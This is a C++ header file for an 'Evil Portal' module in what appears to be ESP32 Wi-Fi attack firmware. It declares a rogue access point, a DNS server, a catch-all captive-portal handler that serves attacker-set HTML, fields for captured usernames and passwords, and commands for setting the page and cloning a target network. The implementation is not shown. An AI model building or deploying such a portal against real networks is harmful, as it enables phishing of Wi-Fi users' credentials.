EvilPortal.h 2.2 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110
  1. #ifndef EvilPortal_h
  2. #define EvilPortal_h
  3. #include "ESPAsyncWebServer.h"
  4. #include <AsyncTCP.h>
  5. #include <DNSServer.h>
  6. #include "configs.h"
  7. #include "settings.h"
  8. #ifdef HAS_SCREEN
  9. #include "Display.h"
  10. #include <LinkedList.h>
  11. #endif
  12. #ifndef WRITE_PACKETS_SERIAL
  13. #include "SDInterface.h"
  14. #else
  15. #include "Buffer.h"
  16. #endif
  17. #include "lang_var.h"
  18. extern Settings settings_obj;
  19. #ifndef WRITE_PACKETS_SERIAL
  20. extern SDInterface sd_obj;
  21. #endif
  22. #ifdef HAS_SCREEN
  23. extern Display display_obj;
  24. #endif
  25. extern Buffer buffer_obj;
  26. #define WAITING 0
  27. #define GOOD 1
  28. #define BAD 2
  29. #define SET_HTML_CMD "sethtml="
  30. #define SET_AP_CMD "setap="
  31. #define RESET_CMD "reset"
  32. #define START_CMD "start"
  33. #define ACK_CMD "ack"
  34. #define MAX_AP_NAME_SIZE 30
  35. #define WIFI_SCAN_EVIL_PORTAL 30
  36. char apName[MAX_AP_NAME_SIZE] = "PORTAL";
  37. char index_html[MAX_HTML_SIZE] = "TEST";
  38. struct ssid {
  39. String essid;
  40. uint8_t channel;
  41. uint8_t bssid[6];
  42. bool selected;
  43. };
  44. struct AccessPoint {
  45. String essid;
  46. uint8_t channel;
  47. uint8_t bssid[6];
  48. bool selected;
  49. LinkedList<char>* beacon;
  50. char rssi;
  51. LinkedList<uint8_t>* stations;
  52. };
  53. class CaptiveRequestHandler : public AsyncWebHandler {
  54. public:
  55. CaptiveRequestHandler() {}
  56. virtual ~CaptiveRequestHandler() {}
  57. bool canHandle(AsyncWebServerRequest *request) { return true; }
  58. void handleRequest(AsyncWebServerRequest *request) {
  59. request->send_P(200, "text/html", index_html);
  60. }
  61. };
  62. class EvilPortal {
  63. private:
  64. bool runServer;
  65. bool name_received;
  66. bool password_received;
  67. String user_name;
  68. String password;
  69. bool has_html;
  70. bool has_ap;
  71. DNSServer dnsServer;
  72. void (*resetFunction)(void) = 0;
  73. bool setHtml();
  74. bool setAP(LinkedList<ssid>* ssids, LinkedList<AccessPoint>* access_points);
  75. void setupServer();
  76. void startPortal();
  77. void startAP();
  78. void convertStringToUint8Array(const String& str, uint8_t*& buf, uint32_t& len);
  79. void sendToDisplay(String msg);
  80. public:
  81. EvilPortal();
  82. String get_user_name();
  83. String get_password();
  84. void addLog(String log, int len);
  85. bool begin(LinkedList<ssid>* ssids, LinkedList<AccessPoint>* access_points);
  86. void main(uint8_t scan_mode);
  87. };
  88. #endif